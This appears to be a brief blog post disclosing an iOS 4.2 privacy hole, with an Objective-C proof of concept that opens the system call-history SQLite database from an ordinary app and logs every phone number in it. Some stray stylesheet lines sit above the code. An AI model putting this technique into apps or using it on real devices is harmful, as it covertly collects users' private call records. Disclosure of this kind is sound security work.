It’s possible to access a user’s call history on a non-jailbroken phone running iOS 4.2. Other versions not tested. Proof of concept after the jump.
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #cc2324}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo}
span.s1 {color: #000000}
span.s2 {color: #538187}
span.s3 {color: #35595d}
span.s4 {color: #b80ca1}
span.s5 {color: #cc2324}
span.s6 {color: #410d80}
FMDatabase* database = [FMDatabase databaseWithPath:@”/private/var/wireless/Library/CallHistory/call_history.db”];
[database setLogsErrors: YES];
if ([database open]) {
FMResultSet* results = [database executeQuery:@”SELECT * FROM calls;”];
while ([results next]) {
NSLog(@”phone number: %@”, [[results resultDict] objectForKey:@”phone number”]);
}
}
This works because that SQLite3 database is readable by the “mobile” user, which all apps run as.
(You need to do some work to make the above code function. It doesn’t work “out-of-the-box” for obvious ethical reasons.)





Comments